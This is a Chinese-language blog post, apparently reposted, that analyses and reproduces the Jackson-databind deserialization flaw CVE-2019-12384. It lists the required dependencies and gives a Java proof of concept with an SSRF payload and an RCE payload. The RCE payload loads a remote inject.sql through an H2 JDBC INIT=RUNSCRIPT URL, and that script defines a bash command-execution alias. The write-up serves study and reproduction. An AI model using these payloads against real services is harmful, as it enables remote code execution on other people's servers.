CVE-2019-12384漏洞分析及复现
2019-07-28 15:55:13 Author: mp.weixin.qq.com(查看原文) 阅读量:57 收藏

0x00:前言

    近期关于Jackson的RCE漏洞CVE-2019-12384爆出,漏洞的复现以及依赖,这里已经给出,我这里就使用虚拟机里的java的环境重新复现了一下,权当向各位大佬学习。

依赖:
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
Jackson安装教程:
https://www.sxt.cn/jackson/jackson_environment.html

0x01:环境准备

    jackson自身的jar包以外还需要logback-core和h2,具体的pom配置如下:

<dependency>    <groupId>com.fasterxml.jackson.core</groupId>    <artifactId>jackson-databind</artifactId>    <version>2.9.8</version></dependency>
<!--https://mvnrepository.com/artifact/ch.qos.logback/logback-core --><dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-core</artifactId> <version>1.3.0-alpha4</version></dependency>
<!--https://mvnrepository.com/artifact/com.h2database/h2 --><dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>1.4.199</version> <scope>test</scope></dependency><dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>1.4.199</version> <scope>compile</scope></dependency>

0x02:漏洞复现

    这里用JAVA复现,具体看代码注释。

JackonSerial.javaimport com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.SerializationFeature;import org.h2.Driver;public class JackonSerial {    public static void main(String[] args) throws Exception {        //一定要实例化Driver否则会报错        Class.forName("org.h2.Driver").newInstance();        System.out.println("Mapping");        //该条payload用于SSRF的复现        String jsonStr1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8005/~/test\"}]";        //该条payload用于RCE的复现        String jsonStr2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";        ObjectMapper mapper = new ObjectMapper();        mapper.enableDefaultTyping();        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);        System.out.println("Serializing");        Object obj = mapper.readValue(jsonStr1, java.lang.Object.class)        System.out.println("objectified");        System.out.println("stringified: " + mapper.writeValueAsString(obj));    }}inject.sqlCREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{    String[] command = {"bash", "-c", cmd};    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");    return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('open/Applications/Calculator.app/')

使用第一个payload实现SSRF的效果图。


使用第二个payload实现RCE的效果图。

0x03:总结

1、这个漏洞的利用有两个特别鸡肋的点:
第一点, 它需要依赖两个jar才能造成rce漏洞;

第二点, 注意这个漏洞的触发,是在序列化恶意的对象的时候触发的,而jackjson大部分情况在web中都是用于处理去反序列化前端传入的json数据的。

2、相同的套路在fastjson也是可以造成RCE的,但是利用同样鸡肋。

原文来自:

https://www.freebuf.com/vuls/209394.html


文章来源: https://mp.weixin.qq.com/s/DE5gK-YdKfzovj_7-5SQmA
如有侵权请联系:admin#unsafe.sh